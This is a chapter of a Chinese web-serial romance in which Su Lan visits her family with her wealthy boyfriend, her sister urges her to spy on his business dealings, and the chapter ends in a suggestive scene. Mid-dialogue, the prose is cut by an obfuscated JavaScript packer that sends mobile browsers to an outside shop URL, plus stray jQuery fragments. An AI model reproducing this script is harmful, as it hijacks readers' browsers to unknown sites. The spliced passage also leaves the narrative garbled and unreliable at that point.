29. 犯错
    外套挂好,衣服换好,水果摆好,苏澜才终于又坐上沙发。

    离家这么久,回来就是伺候人,连声像样的问候都没有。这算哪门子小姐待遇啊。

    苏澜瘫软望天,还要因为坐姿不够端正被胡雪兰念叨。

    【撑住啊苏小姐!】

    【你是傻白甜,你是贤惠的乖女儿,你是不会生气的!】

    好吧!

    唠叨的话她都左耳进右耳出,把他们都屏蔽了,自己在一旁看起电视。

    刚选到个想看的台,遥控器还没放下,自家亲爹不满的咂嘴又传过来了。

    “要不,澜澜你还是先回房吧。”

    苏志伟窘迫朝她摆摆手,意思没她事了,待在这也是打扰他们。

    说实话,苏志伟实在想不明白,那么成熟有魅力的业界大佬,到底怎么看上自家这个啥也不会,还没心没肺的小女儿的。

    硬要说的话,两个人也就属外表最相配。或许大佬就喜欢漂亮花瓶这一款的?

    等苏澜叼着颗樱桃回房间了,苏志伟才百般慎重地问出心里想法:“司臣啊,你对我们家澜澜……是认真的?”

    “她这孩子心思干净,也单纯。长这么大,我都不让她和异性有太多接触……”

    “我老了,你们年轻人的想法啊,我也猜不透。”

    接下来这话一说出口,惹人不高兴的风险可就高了。

    反复斟酌,苏志伟还是决定要说:“我实在是担心,你会不会……只是想和她玩玩。”

    胡雪兰在一旁听得冒冷汗,手藏在身子后面,快把丈夫衬衫都抓皱了。

    现在得罪了黎家,已经相当于被大半个北城都拉黑了。要是这两个人真能修成正果,那么一切好说。可要是不能……

    “有苏澜在身边,我很安心。”

    到底是她父母,闵司臣并没什么架子。茶杯见底,他提起茗炉,主动替苏志伟沏上一杯,聊表心意。

    “也希望,您二位能够放心。”

    茶杯亲自敬到眼前,苏志伟受宠若惊地接下,神色总算是欣慰。

    腾出手也安抚着胡雪兰:“澜澜能托付给司臣你,我们啊,绝对放心!”

    房间内,苏澜正收拾着奥地利带回的行李。她门没锁,苏羽笛象征性地敲两下,直接开了进来。

    正好看见她一堆新买的珠宝首饰,苏羽笛挑了挑眉:“他倒是舍得给你花钱。这样也好。”

    “姐?”

    苏澜放慢手中动作,听不懂她意思的样子。

    “要不然怎么说你傻呢。”

    苏羽笛自顾自坐下,没外人的时候,她也会跷二郎腿:“我是看不出外头那个男的有多爱你。”

    苏澜背对着她,没出声,在心里偷笑。

    想不到吧闵司臣,你也有沦为“那个男的”的一天。

    苏羽笛转着座椅,玩着自己头发:“当然,爱情这种东西本就指望不上。你还小,我不泼你冷水。”

    苏澜举双手赞同她,但拿着恋爱脑人设,怎么也不能亵渎了神圣的爱情。

    咬咬牙:“姐,或许是你还没遇到真爱呢。”

    “哈,真爱。”

    苏羽笛的嘲讽不带掩饰,“也就骗骗你们小孩子的东西。”

    她不再开玩笑,脸色沉下来:“苏澜,老实告诉我。你身上那些伤,是不是他弄的?”

    “这是很严肃的问题,你不准撒谎。”

    察言观色这方面她没犯过错。他对她的冷淡、她对他的痴迷、他们之间不对等的地位差距,种种迹象都在暗示这段恋情绝不健康。

    男人嘛,喜欢年轻漂亮的无可厚非。她只希望苏澜能多长点心,为苏家也多博一份利益。

    这个圈子,吃人连骨头都不吐。

    “怎么可能啊姐!”

    苏澜无奈的样子,好像委屈她不信任她:“真的是我自己不小心而已。”

    “他可好了,还帮我上药来着。”

    靠,明明是她给他上的药。替姓闵的说话,心里还真不是滋味。

    不想再聊这个,苏澜挑起别的话题:“对了姐,你和冯昱城相处得怎么样?”

    很久没提到这个名字了,但苏澜从一开始就知道,他可不是来凑数的路人甲。

    苏羽笛顿了顿,随口应付:“就那样。他忙他的,我忙我的。”

    这口吻,说明还是有在保持联络。

    “对了,闵司臣有没有提起过,和冯城科技的合作项目?”

    问题抛出口她就后悔:“算了,他怎么可能和你聊这些。”

    “会聊的!”

    捕捉到关键词,苏澜眼睛都亮了,“是那份生物芯片的合作案吧?”

    想来当时要不是她,冯昱城那份策划案现在都不一定通得过呢。

    不对,苏澜仔细回想,当时闵司臣说的好像只是让他重做——会看在她的份上,重新考虑?

    “看来你还是有点用处。”

    苏羽笛少有地对她表示认可,支起上半身,神秘地压低音量:“冯昱城这个项目含金量可不小。”

    “只要能拿到融资,顺利推进……未来十年内,绝对能震惊整个世界!”

    “这么厉害啊!”

    苏澜很配合她,惊讶道:“那这个项目现在怎么样了?还顺利吗?”

    苏羽笛咂舌:“我怎么知道!”

    她还指望苏澜能跟在闵司臣身边,多套点内部消息呢。

    这碗汤实在太丰盛了,代表苏家,她也想趁机分一杯羹。

    “你啊,学聪明点。”

    苏羽笛起身靠近了,拿手指点了点苏澜脑袋:“这种工作上的事,千万不要明着去找那位打听,懂吗。”

    “你只需要在他打电话的时候、在替他收拾书桌的时候、在他和友商的饭局上……多用耳朵听,多用脑子琢磨琢磨。”

    苏羽笛也没把话挑明,但都说到这个份上,自家妹妹要是还听不懂,说明是真的带不动。

    “好,我明白了……”

    苏澜似懂非懂点着脑袋,心里觉得好笑。

    这不是她上辈子主业么。这是劝她干起老本行来了。

    “明白就好。”苏羽笛不放心,沉下脸又重复一遍:“记住,千万别直接问他。”

    在她看来,单纯才是苏澜最大的优势。她很确信,闵司臣拒绝黎慕思而选择苏澜,纯粹就是想要一个听话好控制,不会干预他事业的傻女人罢了。

    苏羽笛说完想说的便离开了,苏澜独自又待了一刻钟。

    之音今天不知道在忙什么,一直没回她信息。苏澜没什么朋友,朋友圈两下都刷到上周的了。实在无聊,决定再去外头逛逛。

    客厅里没有闵司臣的身影,只看见忙活着指挥佣人的胡雪兰。

    她偷偷拆看着桌上礼盒,一看一个心花怒放:“哎呦澜澜,你真是给妈找了个好女婿呀

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582596|140731||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !”

    “这这这、这个款的包,好像全球都不超过一百个吧!”

    苏澜笑笑应付:“闵司臣呢?”

    “在厨房呢!”胡雪兰指了指外头:“说是要给我们做些家传的糕点。天呐他还会做饭!这么完美的男人上哪儿找啊!”

    苏澜迈开步子去找他,一把被胡雪兰拉回来,指着鼻子:“苏澜你可得跟人家好好相处,千万不能惹他生气,知道?”

    “知道知道。”苏澜被念得头疼,揉着手腕跑了。

    靠近厨房,闻到一阵浓郁的烘焙香味。她也想不到姓闵的竟然还会这些。

    苏澜推门进去,望见吧台前穿着围裙忙碌的身影——

    靠,是林词。

    她就知道,姓闵的怎么可能那么用心,“原来是林助理,闵董呢?”

    林词戴着笨重的烤箱手套,指指里面一间单独的用餐室,小声道:“闵董临时有个电话会议。”

    “这么忙啊……”

    苏澜几步晃悠到那扇门前,油然一股强烈的逆反心理支使她闯进去。

    试探地拧动把手,门没锁,苏澜轻轻推开一条小缝——

    好吧,他带着耳机,手里拿着文件,确实是在开会。

    可惜这门一旦打开,想走就不容易了。闵司臣抬眼将她抓个正着,拎进屋,门反锁。

    苏澜呆呆靠在门边的红酒柜上,眼睛无辜瞄着他,好像犯错罚站。

    闵司臣站在她眼前,一米不到的位置,单手扶着耳机:“把负责人叫来,让他亲自汇报。”

    苏澜刚才有多大胆现在就有多心虚。不敢出声打扰,只好伸手指指自己,又指指门外。

    闵司臣也不开口,挑了挑眉,不知道有没有看懂她意思。

    没辙了,苏澜指尖合十比了个道歉的手势,转身刚要碰到门锁,却从上方被男人按住。

    “嗯。继续。”

    他换左手拿文件,右手揽过某个逃跑的,扶着腿根,一把将她抱上门边的矮桌。

    身前正对着他,左右两侧也被他手臂堵住,苏澜有些慌了,比着口型问他想做什么。

    自己真是脑袋糊了,知道他爱乱来,竟然还主动送上门!

    坐在桌上,她视线刚好和他平齐。盯着他看,才发现他衬衫袖口卷着,黑色领带上粘着些白白的面粉。

    原来还是干了点活的。

    “已经给了你够多时间,我的耐心有限。”男人一双眼睛望住她,话音在不悦时尤其冰冷。

    “做错了事,后果自己承担。”

    苏澜咽了咽,紧张得心跳都加速,但反应过来应该不是在对她说。

    心情刚要松懈,男人手掌顺着小腿抚了上来。

    苏澜刚换的裙子,一条修身的小吊带。为了盖住伤口,叠穿了一件半透的罩衫。

    太宽松了,让他完全有机可乘。

    男人轻咬住她唇瓣,掌握着深入的节奏。苏澜不敢发出声音,只能压着喘息,由他主导。

    吻到快要窒息才放过她。

    宽松的罩衫被掀到锁骨,雪白一片陷入他掌中。他动作倒是温柔,只用不会留下痕迹的力度吻着一处处不为人知的柔软。

    他鼻梁很高,轻轻蹭过也引起一阵酥麻。苏澜推不动他,羞耻别过脸去。

    房间没有开灯,窗帘也被拉上。院外隐约能听到不同人的脚步,林助理就在门外,而她却跟闵司臣在做这样的事……